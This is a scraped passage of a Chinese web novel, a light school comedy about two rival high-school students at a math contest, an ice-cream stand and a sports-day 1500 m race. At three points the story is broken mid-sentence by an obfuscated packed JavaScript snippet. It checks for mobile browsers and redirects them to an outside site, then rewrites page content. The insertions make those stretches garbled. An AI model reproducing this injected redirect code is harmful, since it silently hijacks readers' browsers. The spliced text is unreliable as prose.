何非亮再望过去的时候,纪小小鱼已经跑远了,背影融化在一片白茫茫的光里。 三秒过后…… 纪小小鱼又“噔噔噔”地跑了回来,冲他摇晃着手臂,“喂!你知道考场怎么走吗?” 何非亮随手指了一个垃圾桶,“那里。” …… 然而—— 这个活力四射的纪小小鱼一出考场,就抱着妈妈,哭得肝肠寸断,“妈妈,扑克牌有几张啊,我真的不知道啊~哇~对不起!” 唉,真是难为这孩子了。 在场家长们纷纷投来同情的目光。 看上去还那么小,不会还是中低年级的小朋友吧? 中低年级组的小朋友,能来参加决赛就已经很厉害了! 但接下来,纪小小鱼的话却格外的欠扁。 “我就这一道题不会写啊~哇~只能拿95分了!” 喂,小朋友,有没有搞错啊?95分你哭啥呀!这可是竞赛题啊!命题专家透露平均分不到35分都是正常的。还给不给人活路了?肯定是在吹牛! 家长们又无语地把同情的目光收了回来,连带着眼角眉梢间压着的焦虑都浓重了几分。 是啊,其实能进入到决赛圈的孩子们,就数学这一学科来看,真的已经算是出类拔萃了。可是烈日炎炎下,在场等候的家长们或多或少的都还是有那么点焦虑,好像在看着一个蹒跚学步的梦想,想帮忙又使不上劲。 纪小小鱼还说这么拉仇恨的话。 所以说,纪小小鱼真是低情商哦。 …… “所以,光知道一个思路和方法有什么用呢?”长大了的纪小鱼朝何非亮丢了个白眼,咄咄逼人地质问,“现在的出题老师,哪一个不是想方设法地挖坑?有些陷阱那是‘遇上方知有’!不做题你怎么积攒对付它们的经验和套路呢?现场想你觉得够快吗?时间不够了、或者哪个环节刚好卡住了,你写思路,大题可能有几分,但如果是填空题呢?” “何非亮,”纪小鱼握紧拳头,“你敢说,你不刷题吗?” 何非亮摸了摸纪小鱼的头,给他顺了顺毛,安抚道,“刷了刷了。” “哼!”纪小鱼闷闷不乐地撅着嘴。 “对对对,这本书一点都不好,你千万别看。”何非亮这么说着,一边却紧张地把书给抱紧了,压低了声音,像是在喃喃自语,“哎呦,差点暴露了,这可是我好不容易才找到的聪明秘籍。” 聪明秘籍? 纪小鱼的耳朵动了动,“看这个可以变聪明吗?” 何非亮抱住书,戒备地摇摇头,“我什么也没说。” “嗷——”纪小鱼扑上去抢,仿佛野狗争食,“快给我!快给我!” “不给,不给!刚才我看到这本书只剩这最后一本了!小鱼,你都有一车的题了!喂……你怎么还咬人啊?你是纪小狗吗?” 最终,还是“纪小狗”取得了胜利,抱着抢夺来的书,笑得眉眼弯弯、卑劣无耻。 美滋滋,爽歪歪,乐颠颠~ 要是“纪小狗”有尾巴,这个时候该得意地摇起来了。 何非亮闷闷不乐地站在一旁,眼底的促狭一闪即逝。 一直到回家的路上,何非亮都双手插着兜,摆出一副又酷又拽的表情,吸引了不少女生的驻足流连。 中心书城的钻石VI ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891545|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' P客户纪小鱼没心没肺地拎着大包小包的题,在一旁哼着快乐的歌—— “我是一个刷题匠,刷题本领强~ 管他多少题目呀,全部都刷光~ 刷完数学刷语文,每天不嫌忙~ 哎呀我的成绩呀,超过何非亮~”[3] 歌谣中的男主角何非亮表示——“呵呵”。 …… 走着走着,纪小鱼鼻翼突然抽了抽,停下了脚步,目光顺着牛奶、起司、香草、抹茶、焦糖、蜂蜜、巧克力和草莓酱的气味漂浮,晕晕乎乎地落在了一辆停在街边的冰淇淋车上。 天啊,好想吃啊! 冰淇淋车支开了玻璃的大窗户,店员系着可爱熊围裙在里面忙前忙后,香气就是从那里飘出来的。 纪小鱼走不动路了,眼睛里好像升起了一座豪华的冰淇淋雪山,雪山顶的奶油泡泡在阳光下熠熠生辉。 冰淇淋雪山前面……啊,不,是冰淇淋车前,已经有好几个小朋友在排队了! 然而,一想到自己还剩0.8元的账户余额,纪小鱼突然就悲伤得不能自已了。 这个月的零花钱都拿来买题了! 好像没有钱买冰淇淋了! 呜呜呜……不行,纪小鱼,你是一个学霸,你不能后悔! 知识是无价的! 好在天无绝人之路,纪小鱼的目光掠过冰淇淋车身上花花绿绿的卡通画,停在了上面挂着的小黑板。 小黑板上写着——“超级无敌好吃的冰淇淋,第二个半价!” 纪小鱼连忙问,“何非亮,你想不想吃冰淇淋?” 何非亮拒绝地很果断,“不想。” 纪小鱼不死心,追问道,“真的吗?” 何非亮的目光松动了一下,但还是坚持,“真的。” “真的不想?” “真的不想。” “真的真的真的不想?” “不想……” “不!”纪小鱼灼热的目光霸道地撞进何非亮的眼睛,试图用这种强硬达到催眠何非亮的效果,“你想!请你仔细聆听你内心的呼唤!” “嗯,”何非亮笑了笑,眼尾慢慢地软了下来,妥协了,“我想。” 耶!催眠成功! “钱给我,”纪小鱼显得格外的热心,脸上挂着一看就有诈的笑容,“我去帮你买!” 何非亮虽然已经下载了反诈APP,但还是从一路揣着的裤兜里摸出手机,打开了付款码,递了过去。 纪小鱼接过手机,一路小跑地冲向“冰淇淋雪山”,一边不忘回身冲他喊,“你就在此地,不要走动!” 何非亮无奈地站在原处注视着他,看他兴高采烈地加入了小朋友们排着的队伍,成为了小朋友中最高的那个。 不一会儿,纪小鱼就举着两个巧克力香草双拼配上奥利奥碎的超豪华旋风冰淇淋,从孩子堆里挤了出来,一个递给何非亮,一个自己吃,边吃边含糊不清地说,“我这个是赠品,免费的。” “小鱼,你看清楚,”何非亮“好心”地提醒纪小鱼,“是第二个半价,不是买一送一哦。” “那——”纪小鱼咽了口唾沫,“我先吃一半,剩下的一半还你?” 何非亮:“……” 你开心就好。 12. 第十二章 操场蹦迪 周一。 也许是这周要举行校运会的缘故,校园的空气里,浮动着一丝压抑不住的浮躁和雀跃。 比如体育委员吕天明,表面上是坐着听课,实际上呢,是深蹲着听课,实在累了才坐下来歇一歇。 比如说蒋小胖,已经在盘算着校运会那天要去小卖部买哪个口味的薯片了,目前的计划是买一包墨西哥鸡汁番茄味的、一包香辣小龙虾味的,和一包德克萨斯烧烤味的。 比如纪小鱼,忍不住就幻想起了自己站在第一名的领奖台上…… 比如何非亮,嘴角偶尔的,会闪过一丝玩味的弧度。 一时众人各怀心事,按下不表。 - 周二。 校园里拉起了横幅,操场上竖起了彩旗。 一切都是整装待发的模样。 有的人在期待,有的人在盼望,有的人在紧张,有的人在偷笑,有人在享受暴风雨前的宁静…… - 周三,开幕式。 方正表演上,高二F班的班长陈典,一个传说中一米八八的猛男,竟然直接女装跳起了尊巴,身后的小弟们跟随着老大“迷人”的舞姿一起扭动、一起高唱—— “摇摆、摇摆、摇摆,别畏惧摇摆; 摇摆、摇摆、摇摆,校长很和蔼! 摇摆、摇摆、摇摆,游过了大海; 摇摆、摇摆、摇摆,来到了孟买! 摇摆、摇摆、摇摆,快乐的摇摆; 青春正放光芒!” 一时之间群魔乱舞,操场蹦迪。 欢喜笑闹,朝气逼人。 F班的同学们豁出了自己,逗乐了他人,掀起了一阵“哈哈哈哈哈哈”的狂潮。 笑声如波涛般汹涌,同学们擦掉笑出来的眼泪,难得的放下了身上属于少年人的枷锁和沉重,脸上展露出了青春正好的模样。 笑声中,主席台上“和蔼”的张校长皱了皱眉头,轻轻说了声,“胡闹。” 但随及还是叹了口气,“算了。” 忙碌的高中生活终于在今天开了扇窗通风透气,大赦三天——便姑且由着他们闹腾吧。 “喂,”纪小鱼笑得乐不可支,用胳膊肘捅了捅何非亮,“你也是班长,你什么时候女装啊?” 何非亮睨了纪小鱼一眼,“小鱼,你好这口啊?” “我……”纪小鱼哽住了,面红耳赤地扭过了头,“切!” 还好,很快就轮到了高二A班。 高二A班的出场倒是一板一眼,在严老师严格的友情指导下,和其他班比较起来,明显的更加拘谨和真诚。 男生女生都换上了制服,正步出场,整齐划一。 何非亮手握旗帜走在最前。 可能是五官的轮廓太过凌厉,何非亮不说话也不笑的时候,眉眼间总像是覆着一层冷冽的霜。 穿上制服的时候,这抹冷意就变成了一种英气,锋锐如破晓时分斩开黑夜的利刃、又坚毅如巍峨沉寂的深山。 占尽人间好风光。 “啊啊啊啊啊啊,哥哥好飒!” “救救、救救、心脏不行了!” “实在是太太太太太帅了!” …… 主席台上的张校长靠在舒适的椅背上,满意地点了点头,“这才是学生该有的样子。” 纪小鱼作为A班的特别节目,骑着心爱的小滑板,从队伍的末尾一路向前,身体在滑板上腾移扭转,不时地来个花样腾空、原地反转。 然而眼角的余光偷偷的观察了一下,发现观众们的目光都紧紧地追着何非亮,好像完全忽视了自己,终于没出息的酸了。 酸!比一口气吃了五十个柠檬还酸! 可~恶~的~何~非~亮~ 我~一~定~会~打~败~你~的~ 纪小鱼不知道的是,人群中,也有一道目光,静悄悄地落在了他身上。 “乔希希,你怎么都脸红了哦!哈哈哈哈,真没出息,”乔冬冬一把揽过妹妹的肩膀,“你也觉得A班领头的那个何非亮很帅吧?姐姐帮你追啊,要不要?” “姐姐你小声一点,”乔希希害羞地摆摆手,脸上的红晕又加深了一些,“不、不是何非亮,是那个骑滑板的……他叫、他叫纪小鱼……” “啊?有人骑滑板吗?”乔冬冬愣了一下,把目光从何非亮的身上挪开,往A班的队伍中好奇地张望,终于搜寻到了纪小鱼的身影,“哦,那个啊……那个的话——” 乔冬冬回过头来打量了一下自家的妹妹,“你自己追应该就可以了。” “不用啦……欣赏一朵花又何必占有,”乔希希低下头,细白的颈微弯,温柔如莲花轻吻水面,“况且他只喜欢学习。” - 周四。 这一天,天气晴朗。 这一天,秋高气爽。 这一天,注定是一个不平凡的日子。 这一天,男子1500米比赛即将开始。 纪小鱼做着准备运动,拉伸、压腿、信心满满。 周围的小同学们有的耷拉着脑袋,有的翻着眼皮,有的迎风流泪,有的在聊天,聊着聊着便惺惺相惜—— 同学甲:“你也是‘被’报名的吗?” 同学乙:“是啊,没人报嘛,就抓我来咯,说是我上周早读课迟到了三次。” 同学丙:“唉,说来话长,我也是‘被’报名的。我们班那个女魔头诶,我就只是偷偷抄了她的数学作业,她就拿扫把柄抵着我的咽喉,硬逼着我报1500米!害,我只是抄了她的作业,她却是要我的命啊!果然还是妹妹比较可爱……” 大家都不约而同地向他投去同情的目光。 同学丁:“唉,既然在座的各位都是‘被’报名的,一会不如……” 还有的鹤立鸡群,独自站立在一旁,望着天空发呆,不一会儿便赋小诗一首—— “一千五百米, 说短也不短, 跑完三天腿发软。” 纪小鱼看着他寂寥的神情,若有所思。 也是,1500米又累又闷又不拉风,在校运会中总是不那么受欢迎,鲜有人问津。 这场比赛还被排到了今天下午的最后一场——太阳都要落山了,热闹也好像逐渐褪去,看了一天比赛差不多都看累了的同学们也都先溜去吃饭、洗衣服了。 参赛的同学看上去都愁眉苦脸的,像是在“被迫营业”。 但是,有些话,就好像心里的一种冲动,到了嘴边,便不得不说。 纪小鱼走上前去,拍了拍作诗的那位同学的肩膀,“兄弟,格局小了,不妨换一个角度想—— 一千五百米, 说长也不长, 人生自古多奔忙。” 两人负手而立,望着天边欲颓的夕阳,齐齐沉默。 少顷,那位同学开口道,“高二B班,张朝,幸会。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891546|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“高二A班,纪小鱼,幸会。” “纪兄真是思想深邃、才高八斗,一会跑完了可以加个微信吗?” 难得碰上一个欣赏自己才华的人,纪小鱼有点小激动,“当然可以。” “以”字的话音刚落,有人从逆光处走来。 步速不快不慢,却好像恰好踩在人心尖的鼓点上。 仿佛君王临场,只是一个光影的轮廓,便足以瞬间吸住在场所有人的目光。 纪小鱼呼吸一窒,警钟大作。 这、这是——危险的气息! 却该死的熟悉! ま(ma)さ(sa)か(ka)—— 那人走近了一些,夕阳成了背景,果然—— 光影中走来的,不是别人,正是何非亮! 可恶! 纪小鱼深吸一口气,“喂,何非亮,你来干什么?如果你是来给我加油的,那大可不必。如果你是来……” 何非亮打断了纪小鱼,回应得言简意赅,“参赛。” “哈?”纪小鱼差点跳了起来。 “我是来参赛的。”何非亮又不咸不淡地重复了一遍。 纪小鱼有点晕——他千叮咛、万嘱咐地要求吕天明千万千万不可泄露自己参加1500米的情报,就是怕卑鄙无耻的何非亮得到消息后又赶来截胡。 啊!他为什么又出现了! 纪小鱼明明白白地摆出了一副“看到你很不高兴,这里一点也不欢迎你”的样子,闷闷不乐地质问道,“喂,你为什么来参赛哦?” “每个班都必须有两位同学参赛,”何非亮耸了耸肩膀,“我们班刚好缺一个。” “好吧,”纪小鱼欲哭无泪,“为什么偏偏是你?” “我是班长,应该的。” “……” 阳光有点晃眼睛,纪小鱼刚想继续说点什么的时候,便看到体育老师拎着发令枪大摇大摆地走了过来。 体育老师剑眉星目、棱角分明,眼角一道霸气侧漏的斜疤,身材高大挺拔。他讲话的声音懒洋洋的,却偏偏很有气势,“比赛马上就要开始了,请同学们赶紧站到自己的跑道上去。” 纪小鱼呼了口气,一边走一边闭了闭眼睛,首先在心里对自己进行了一番自我批评—— 喂,纪小鱼,你是要打败何非亮的人! 怎么能看到何非亮就慌了呢? 你要淡定!这是一个你堂堂正正打败何非亮的绝好机会! 一定要把握住! 再睁开眼睛时,纪小鱼已经调整好了情绪。 “哦,那个,其实我也是来凑人数的。”站在起跑线上的纪小鱼曲起食指蹭了蹭自己的鼻尖,对身边站着的何非亮提议道,“那我觉得咱们等会就随便跑跑,差不多就行了,怎么样?” “行啊。”何非亮一副无所谓的样子。 “那说好了啊,”纪小鱼叮嘱道,“随便跑跑哦。” “嗯。” “对啦!”纪小鱼松了松肩膀,表现出一副很轻松惬意的样子,“一个校运会而已嘛,没什么好争的。” “嗯。” “各就各位——”体育老师举起发令枪,威严地睥睨了一遍全场,“预备——跑!” 发令枪响,纪小鱼如弦箭一般地冲了出去,在三秒内抢据了内道,甩开了何非亮,脚步如风。 何非亮看着纪小鱼的背影:“……” 喂,说好的随便跑跑呢? 13. 第十三章 随便跑跑 S中的跑道是400米的标准跑道,1500米意味着—— 加油!纪小鱼,只要坚持四圈就可以了! - 第一圈,纪小鱼跑得轻松写意。 风声中仿佛带着自创的BGM—— “我比你快! 咚咚! 我比你帅! 咚咚! 我比你牛逼又可爱!” 呵呵,何非亮,有本事就来追我啊! 略略略~ …… 第二圈,纪小鱼跑得毫不费力。 略显冷清的操场越来越多人汇集过来。 还有没到的小伙伴,听说夕阳下奔跑的竟然还有何非亮选手,顿时捶胸顿足地觉得自己仿佛错过了一个亿! 为了防止再错过一个亿,她们纷纷放下手中的碗筷、作业或是花洒,急急地赶来。 好像就那么一瞬间的工夫,操场就变得热闹起来了。 围观的人群中突然传来一声讪笑——笑的不是别人,正是纪小鱼! 纪小鱼心里不屑。 ——不会吧,不会吧? 各位亲爱的观众姥爷们,你们不会以为我一开始就跑这么快,后面一定会体力不支吧? 开玩笑! 我,纪小鱼,每天背着炸药包一般的书包,争分夺秒、一路小跑回家中,几经风霜寒暑,体力能不好吗? 论持久,谁能比得过我? 哦呵呵呵呵呵,何非亮,今天就算你来了,又能怎么样呢? …… 第三圈,纪小鱼战绩睥睨。 风擦着耳尖掠过,纪小鱼好像有一种错觉,恍惚间回到了初三训练体育中考的时候,为了提高耐力,一圈一圈地拖着轮胎在操场上跑。 捆着轮胎的绳索勒得两肩通红,可放下轮胎时,轻盈下来的身体好像从肩胛骨长出了翅膀,怎么飞都不累。 纪小鱼现在就好像长出了翅膀,飞着飞着,眼前很快就出现了“被”报名的同学们。 “被迫营业”的同学们挤成一团,相隔都不甚远,大概已经心照不宣地约好了一起划水,实在不行了就扶着肚子快走两步。 擦肩而过时,张朝甚至还有空抬起胳膊擦把汗,喘着气喊了声,“纪兄,加油啊!” 咳,在游戏里大概会被举报成“演员”吧。 但纪小鱼还是挺感动的。 终于,在第三圈收尾的时候,纪小鱼已经超过了除了何非亮以外的所有参赛选手整整一圈。 诶,对哦,何非亮呢? 嗐,管他呢! 反正没我快! 哦耶! …… 第四圈,纪小鱼准备好了见证奇迹。 “下面是来自高二A班苟浮云的来稿:你奔跑的时候,大脑的视觉中枢帮你看清成功之路;听觉中枢助你听见加油呐喊;小脑协调运动使你保持平衡;各处的肌群展现青春力量……这是生命的律动,这是拼搏的美丽!加油吧!高二A班的运动健儿们,胜利属于你们!” 夕阳染红了半边天幕,无人机开了摄影模式,在上空低低地盘旋,记录下时光;广播站里不断放着加油的稿子,间歇地插播着热血的音乐;操场内道的草坪上,有人在呐喊,有人在跟着陪跑…… 300米…… 200米…… 150米…… 已经能看到终点线的位置了! 耳边加油的声音越来越大,纪小鱼激动得眼圈发红。 “小鱼,说好的随便跑跑呢?” 一道声音突然在纪小鱼身后幽幽地响起。 妈呀,鬼呀! 纪小鱼身体僵直了0.1秒,然后拼命地向前冲。 “小鱼,怎么不理我?” 那道声音不依不饶,再次响起的时候,已经在纪小鱼的正右方了。 纪小鱼还想加速,可是刚才那一冲已经把原本保持住的节奏打乱了,连着气息也有点匀不上来了。 哎呦,糟糕,气息一乱以后,怎么好像有点喘哦。 大腿好像也变得僵硬了,往前冲的每一步都需要用到越来越多的意志力,再也使不上更多的劲了。 “你不理我的话,我就先走了哦?” 在离终点线还有五十米的时候,何非亮抛下了这么一句话。 再然后,汗水流淌过眼睛,模糊了的视线里,何非亮扬长而去,留下了一个邪恶的背影。 啊啊啊啊啊啊! 真是太过分了! 纪小鱼的心理阴影面积以自身为中心,从操场迅速扩大到了整个学校! 阴云之下,狂风大作,电闪雷鸣。 【神啊!请赐予我追逐闪电の力量!】 力量,强大的力量,如愤怒的风暴,带着闪烁的电火花,不断从四面八方涌来,疯狂地注入进了纪小鱼的四肢百骸中。 冲啊! 纪小鱼向前狂奔—— 我又可以啦! 然而就这个时候,何非亮以迅雷不及掩耳之势往自己的脚下丢了块香蕉皮,然后一个干净利落的侧滑—— 现场突然爆发出了一阵热烈的掌声,嘈杂的欢呼声里,有人大喊,“冠军诞生啦!是何非亮!” 啊咧? 何非亮已经到达终点了!? 纪小鱼两眼一黑,在冲向终点的一瞬间,脚步一个趔趄,差点就平地摔飞了出去。 呼,好在及时回过神来,稳住了身体的平衡,才在最后关头守护住了身为男子汉的尊严。 啊啊啊啊啊啊! 可恶! 忍着脚踝传来的痛意,纪小鱼的心情十分复杂。 终究是,来迟了一步! 【喂,不是叫你给我追逐闪电の力量吗!?】 【对啊,给你第二名了,你又没说超越闪电の力量!】 “撒呱——撒呱——撒呱——”一只怪鸟从天上幸灾乐祸地飞过。 力量从身体里迅速地逸散,纪小鱼从幻觉中清醒过来,觉得自己浑身上下都像被抽干了一样,变得软趴趴的。 像一个破了洞的气球小丑,在冷风里摇摇欲倒。 只剩下心脏还傻傻地搞不清楚情况,依然在狂躁地跳动着,像不甘平息的战鼓,像在渴望着一场快意的厮杀。 喂——已经结束了…… 纪小鱼无奈地安抚着自己暴动的心脏。 拜托——别、别跳那么快了。 我快要——不、不行了。 纪小鱼扶着膝盖大口大口地喘气,缓了缓,心跳才不情不愿地稍稍平复了点,跳得有一点失落。 何非亮好像没事人一样地站在他的前面,低着头看他。 纪小鱼抬起眼皮,从牙缝中崩出一句—— “何非亮,我上辈子欠你了吗?” “你想起来了?”何非亮朝纪小鱼伸出手,“那你现在可以还了吗?” 神经病啊! “不还!”纪小鱼一巴掌拍掉何非亮的手。 闪光灯一晃而过。 “这是历史性的击掌!” 记者社的社长卓影对着摄像机露出了八颗牙的微笑,“同学们,经过紧张的角逐,就在刚才,男子1500米高二组决出了胜负。第一名,高二A班,何非亮,成绩是4分06秒;第二名,高二A班,纪小鱼,成绩是4分07秒。而几乎同时冲过终点线的他们,在第一时间内大力击掌,祝贺对方。” 卓影的声音微颤,声情并茂地说,“这一刻,他们是最好的对手,也是最好的朋友!让我们祝贺他们取得的好成绩,也为他们的友谊致敬!” 纪小鱼:“……” 卓影伸长了脖颈,往跑道上张望了一下,“嗯,第三名目前还是虚位以待……那我们先来采访一下纪小鱼同学的赛后心情。” “Good Game!” 纪小鱼朝后摆了摆手,没有回头。 他一步一步地走向看台,步履有点蹒跚,在自己放书包的位置一屁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891547|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 股坐了下来。 “哎呦不能坐不能坐!”蒋小胖急得不行,“刚运动完不能马上坐!” 纪小鱼正要起身,蒋小胖又连忙制止了他,“等等等等,好像已经坐下了就先不要起来了!” 纪小鱼两眼迷茫地望着蒋小胖。 蒋小胖“嘿嘿”一笑,赶紧献宝似的递过来一瓶矿泉水,“小鱼,知道你喜欢喝可乐,可是我刚才百度了,运动完以后不能马上喝可乐咧。你先喝点水。” 纪小鱼接过水,不说话,猛地灌了几口。 “诶诶诶,我还没说完。你喝慢一点哦!我百度了,运动后不可以过量、过快地喝水,要慢慢喝。” 纪小鱼停下来,垂下肩膀,面无波澜地把还剩了小半瓶的水放在一边。 他不是吝惜表情,是脸上的神经实在是太累了。 “小鱼,你真的很棒诶!你看第三名现在才到,不过我觉得他也很棒,因为他坚持跑完了。换我的话,”蒋小胖叹了口气,捏了捏自己肚子上多年的积蓄,“应该就‘中道崩殂’了。” “我没事。”纪小鱼又灌了一口水,视线落在遥远的天际,“习惯了。” “啊?什么事啊?”蒋小胖有点听不懂,“什么东西习惯了啊?” “没事。” “哦。”蒋小胖挠挠头,“今天运动会,老师说走读生可以不用上晚修诶,你回家吃吗?唉,真好,我们住宿生等会就还要去教室待着。” 蒋小胖是住宿生,纪小鱼是全校1%的走读生,需要校长签字批准的那种。 住宿生的意思就是,哪怕抬头就能看见自家的窗户,没到周五放学,也甭想迈出学校大门一步。 “我坐会儿。”纪小鱼顿了顿,“你先去吃饭吧,一会儿食堂没菜了。” “咕噜咕噜咕噜……” “嘿嘿,”蒋小胖不好意思地揉了揉自己肚子上软软的泡泡肉,“你一说我真的觉得好饿哦!” “嗯,快去吧。” “好哦。”蒋小胖慢腾腾地收拾起书包,收拾的时候目光不经意地往纪小鱼脸上挪了一下,不由地愣住了。 那一刻,纪小鱼的眼睛里好像住着深邃的湖泊,他就那么静静地眺望着远方。 沧海桑田,岁月轮转,荒草寂寂生长。 就算是反应再迟钝,蒋小胖也感觉到纪小鱼周身的气场有些变了——是一种想要把自己暂时封闭、安静一下的气场。 可怜的小鱼,一定是太累了吧…… 不,小鱼真是太了不起了,竟然主动报名参加1500米,这种英雄事迹还瞒着大家! 呜呜呜,就算是身为朋友的我也为小鱼感到深深的骄傲呢! “那我先走了。”蒋小胖意识到自己在旁边或许是一种打扰,从书包里摸出一罐还冰着的可乐,“给你留了可乐啊,不过现在不能喝,得至少半个小时以后再喝。” 纪小鱼眼眶有点热,“谢谢。” 蒋小胖走了两步,一边走一边看手机,突然回过身来喊,“诶,空腹也别喝。” 纪小鱼努力地调动着面部的肌肉,想要给小胖一个微笑,“知道了。” 蒋小胖走了,记者社的同学走了,广播站的同学也走了……. 1500米是最后一个项目,因此结束后,大家也都散得差不多了。 秋风捎来了一点惆怅。 纪小鱼没忍住,把可乐给开了。 咕噜咕噜一口下去,气泡在肚子里打滚。 还挺爽的。 唉。 “1500米, 说长也不长, 人生自古多奔忙。” 一口可乐下去,纪小鱼掂着手里的易拉罐摇晃了一下,又摇着头补上了几句—— “平生唯独不爱酒, 心事只好肚里藏。 劝君莫劝人潇洒, 东风焉可付黄粱?” 唉,这世上可曾有一双手,能够抚去人间意难平呢? “嗝~” 14. 第十四章 送你回家 天一寸一寸地黑了下去,纪小鱼托腮凝望天际,只见月明星稀,却无乌鹊南飞。 远处的教学楼灯火通明,偌大的操场却已经完全冷清了下来。 纪小鱼孤零零地坐在看台的台阶上,和月亮“对影成三人”。 手边的可乐罐逐渐空了。 唔……肚子饿了,想回家了…… 纪小鱼试图起身,踩着地板用力的那一刹那,右脚的脚踝处顿时传来一阵好像骨头被戳了一刀般的疼痛。 嗷——痛痛痛痛痛! 纪小鱼倒吸一口冷气,颤颤巍巍地把痛到僵麻了的右脚提起来放松一下,这才缓过来了一点。 呼,好像是刚才冲过终点线的时候,把脚给扭了。 奇怪,刚扭到的时候明明还没有那么痛的,就只是一种轻微闪到了一下的感觉,怎么现在就越变越痛了哦? 纪小鱼欲哭无泪,四处张望了一下,夜色里的操场一片寂寥,只忽隐忽现地路过几只萤火虫。 唉。 纪小鱼摸出手机,打开了聊天界面。 哈利皮特: 高手兄 哈利皮特: 假如你跑步扭到脚了[Emm] 哈利皮特: 好痛 哈利皮特: 可是这个时候你距离你想去的地方 哈利皮特: 还有1.7km 哈利皮特: 你周围没有人 哈利皮特: 也没有车 哈利皮特: 你会怎么办 手机那边迟迟没有回音。 一直到屏幕自动锁屏了,手机发出的荧光也熄灭了——玻璃的反光倒映出一张灰暗沉寂的脸,纪小鱼才终于后知后觉地感受到了放大的茫然,有些不知所措。 呜呜呜…… 纪小鱼向上天许愿—— 要是谁能带我回家,谁就是我最好的朋友了…… 以后买的题都和他一起做! 遇到的好题也第一时间和他分享! - “诶,小鱼,你怎么还在这里?” 风吹来了一道声音。 一道又好听又讨厌的声音。 纪小鱼呼吸一窒,气鼓鼓地朝来人瞥了一眼,“不——关——你——的——事!” “那我陪你坐一会。” 何非亮曲着一条腿的膝盖,自顾自地坐在纪小鱼的身边。 他的身上缠绕着一点橙花的淡香,清爽冷冽;头发的发尾处还有一点水光,大概是刚洗过澡了。 靠近的香气在晚风中轻轻浮动。 还没洗澡并且一身臭汗的纪小鱼陷入了一瞬间的自惭形秽,拘谨地往旁边挪了挪,试图坐得离何非亮远一点,结果扭伤了的右脚不小心蹭了一下地板—— 嗷!!! 纪小鱼痛得差点原地飞天。 然而,就算这样了,还是要咬着牙,努力保持着面上的安详和镇定。 可恶,都怪何非亮,谁要他坐过来干什么! 气死我了! 哦~我懂了! 他一定是来炫耀他不仅得了第一名而且还洗过澡了! 纪小鱼愤愤地把这个仇记在了心里的小本本上。 沉默的空气里不断发酵出尴尬,纪小鱼闷闷不乐地想—— 何非亮真是低情商! 他看不出来我现在其实并不是很想理他吗? 哼…… “小鱼,”何非亮侧过头,看着纪小鱼眨了眨眼,试探地打破了沉默,“一起回家吗?” “不要!”纪小鱼一口回绝了何非亮。 “为什么呢?” “嗯……”纪小鱼随便扯了个借口,“累了,休息一下。” “累了?那——换个地方休息?” “不行……我还想看星星。” “看星星?” “对呀,你看,天上有好多好多好多的星星!”纪小鱼干巴巴地感叹道,“啊,真是太美了!” 何非亮抬头望向上空。 夜空里,一轮明月孤悬,几个暗淡的星点摇曳。 好像自从有记忆以来,S市的天空就从来没有过漫天群星的盛景,一直都是这样寥寥无几的几个点,光芒似有若无。 曾经有人开了个玩笑,说想在S市想看到满天的星星,只有两个办法,一个是辟谷七天,另一个是哐哐撞墙。 “这个呢,只有聪明人才能看见,”纪小鱼仰望着天空,煞有介事地说,“宇宙中的星星并没有停止发光,你看不见,那是因为你不够聪明。” 嗯…… 现在,纪小鱼提出了第三个办法,那就是变成一个“聪明人”。 何非亮唇角勾起一点笑,扭过头来,看了看纪小鱼,又望向天空,“不啊,我看见了。” 纪小鱼:“……” 纪小鱼:“真的吗?”——我信你个鬼哦。 “嗯。”何非亮认真地仰头欣赏着夜空,眼睛里好像倒映着一幅铺在天幕的壮阔星海,“真美啊。” “你看,”何非亮指给纪小鱼看,“那个是大熊星座,那个是天鹅座,那个是猎户座……” 纪小鱼伸长了脖子,顺着何非亮手指的方向张望。 “那个是小鱼星座……” “喂,哪里有什么小鱼星座!” 何非亮微微眯起一点眼睛,好像想要把天上的星星再看得更仔细一些。 “哦,”何非亮恍然道,“看漏了,那个小鱼星座旁边,还有一个小鱼,原来是双鱼座。” “喂!” 纪小鱼眼睛弯了弯,笑了。 何非亮又在搞什么幺蛾子哦? 晚风里,何非亮轻轻地问,“你想一边休息,一边看星星对吧?” “嗯。” “你等着。” 何非亮说完,便跑就没影了。 等着? 等啥?不会要打架吧? 纪小鱼紧张了起来,现如今自己debuff在身,真的要打——只能使出绝招了! 汪! …… “叽哩哐啷……” “叮呤当啷……” 不一会儿,何非亮便不知道从哪个犄角旮旯拖来了一辆平板手推车。 已经做好准备随时变身成“纪小狗”的纪小鱼表示:“???” 何非亮琢磨了一下,又跳上主席台,顺来了把椅子,摆在了推车上。 纪小鱼:“???” 喂喂喂,那不是张校长的椅子吗? 何非亮你在干嘛? 这也太嚣张了吧!? 